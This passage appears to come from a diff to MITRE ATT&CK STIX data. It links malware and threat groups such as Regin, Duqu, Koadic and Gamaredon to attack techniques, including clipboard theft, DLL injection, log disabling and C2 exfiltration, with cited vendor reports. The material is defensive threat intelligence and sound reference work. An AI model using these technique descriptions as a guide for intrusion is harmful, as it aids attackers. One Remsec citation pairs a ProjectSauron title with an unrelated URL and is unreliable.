NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to open and copy data from the clipboard.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4f4974e-7918-4829-8379-5e2e98f2ae20", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used various batch scripts to establish C2, download additional files, and conduct other functions.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f73df541-6b55-42d1-aec3-53660fda1508", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.676Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[LOWBALL](https://attack.mitre.org/software/S0042) uses the Dropbox API to request two files, one of which is the same file as the one dropped by the malicious email attachment. This is most likely meant to be a mechanism to update the compromised host with a new version of the [LOWBALL](https://attack.mitre.org/software/S0042) malware.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--25cb2c8f-79d2-4157-8329-fb86caaca0c3", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload deletes Resiliency Registry keys created by Microsoft Office applications in an apparent effort to trick users into thinking there were no issues during application runs.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1770cc28-c49c-4b70-b4d0-6976efaede16", + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "modified": "2019-07-11T13:53:05.998Z", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--03fc71a1-c589-4396-b5c7-70dfde49c55c", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.266Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Emissary](https://attack.mitre.org/software/S0082) injects its DLL file into a newly spawned Internet Explorer process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--106aae81-fab1-42b3-97b0-4f0c1d67c896", + "external_references": [ + { + "source_name": "Lotus Blossom Dec 2015", + "description": "Falcone, R. and Miller-Osborn, J.. (2015, December 18). Attack on French Diplomat Linked to Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/attack-on-french-diplomat-linked-to-operation-lotus-blossom/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0f862b01-99da-47cc-9bdb-db4a86a95bb1", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Koadic](https://attack.mitre.org/software/S0250) can use MSHTA to serve additional payloads.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1567d198-b2b9-4eda-a2e2-ba5dd4e51547", + "external_references": [ + { + "source_name": "Github Koadic", + "description": "Magius, J., et al. (2017, July 19). Koadic. Retrieved June 18, 2018.", + "url": "https://github.com/zerosum0x0/koadic" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", + "relationship_type": "uses", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Regin](https://attack.mitre.org/software/S0019) leveraged several compromised universities as proxies to obscure its origin.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--52cf8793-2f13-45c2-8274-1a9bf5d6224a", + "external_references": [ + { + "source_name": "Kaspersky Regin", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "relationship_type": "uses", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A version of [XTunnel](https://attack.mitre.org/software/S0117) introduced in July 2015 obfuscated the binary using opaque predicates and other techniques in a likely attempt to obfuscate it and bypass security products.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e8d2c3f1-7c86-438c-bead-6a86f9a36463", + "external_references": [ + { + "source_name": "ESET Sednit Part 2", + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + } + ], + "modified": "2019-04-19T18:36:32.001Z", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) stages collected data in a text file.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7d8e5c4d-afdb-43f9-bfcf-7ed674a516e3", + "external_references": [ + { + "source_name": "Symantec Darkmoon Aug 2005", + "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pteranodon](https://attack.mitre.org/software/S0147) exfiltrates screenshot files to its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--acc40539-13a0-4577-a862-e348962bf0fc", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of network shares with the command net share.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2beb9f29-a94b-469a-870e-2e2072bf941c", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.323Z", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d2fa6899-2529-45b1-86bf-f2c5475a2ea6", + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Securelist Sofacy Feb 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018.", + "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "ESET Zebrocy May 2019", + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[iKitten](https://attack.mitre.org/software/S0278) saves itself with a leading \".\" so that it's hidden from users by default.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1d1e98b-e3fe-43d8-8b6d-810d8bc6cfab", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2cfe8a26-5be7-4a09-8915-ea3d9e787513", + "relationship_type": "uses", + "target_ref": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) used spearphishing emails with malicious Microsoft Word attachments to infect victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ad674bb-c8e1-4f19-b96e-f56bfa10797c", + "external_references": [ + { + "source_name": "Symantec Tick Apr 2016", + "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", + "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" + } + ], + "modified": "2019-03-22T19:57:37.367Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHIPSHAPE](https://attack.mitre.org/software/S0028) achieves persistence by creating a shortcut in the Startup folder.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97ff5931-f27f-4774-b595-312f5771f91a", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b1de6916-7a22-4460-8d26-6b5483ffaa2a", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) uses a batch file to load a DLL into the svchost.exe process.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3210e5dd-fd8b-42e6-9933-9c4e0c3bbf6b", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.262Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used appcmd.exe to disable logging on a victim server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6f884bda-0c39-4d3b-97e3-29ae9099fa45", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "modified": "2019-07-14T21:15:55.340Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ChChes](https://attack.mitre.org/software/S0144) collects its process identifier (PID) on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6f69552-fe0e-4b40-ad20-4410048277e6", + "external_references": [ + { + "source_name": "Palo Alto menuPass Feb 2017", + "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:36:23.197Z", + "type": "relationship", + "id": "relationship--cca3a63c-e00e-49d1-bf10-f2c21f3469e6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.017Z", + "source_ref": "course-of-action--313c8b20-4d49-40c1-9ac0-4c573aca28f3", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-11T13:53:06.147Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9a35b72d-f238-4214-8bd1-91b768ab277b", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "relationship_type": "uses", + "target_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ec988a7-712a-45ae-b6b3-db26a6515b80", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "source_name": "Securelist WhiteBear Aug 2017", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-10T15:59:09.415Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.054Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2a220ca3-88f4-40eb-8041-184c412950d4", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "relationship_type": "uses", + "target_ref": "tool--b77b563c-34bb-4fb8-86a3-3694338f7b47" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about the current user.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58", + "external_references": [ + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. 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Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.640Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.049Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "relationship_type": "uses", + "target_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-08T14:33:16.445Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcdfad8a-73d5-4d8f-ab0d-24f847d675a0", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) performs data exfiltration over the control server channel using a custom protocol.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c621754d-39c0-4ed4-96d2-6f47e8263aea", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.275Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:19:07.722Z", + "type": "relationship", + "id": "relationship--6f991c49-462a-4cb8-8096-15c77f7ccace", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.022Z", + "source_ref": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can query service configuration information.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac", + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "modified": "2019-04-24T23:10:02.487Z", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) uses commonly used ports (like HTTPS/443) for command and control.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4", + "external_references": [ + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "modified": "2019-04-29T18:01:20.629Z", + "source_ref": 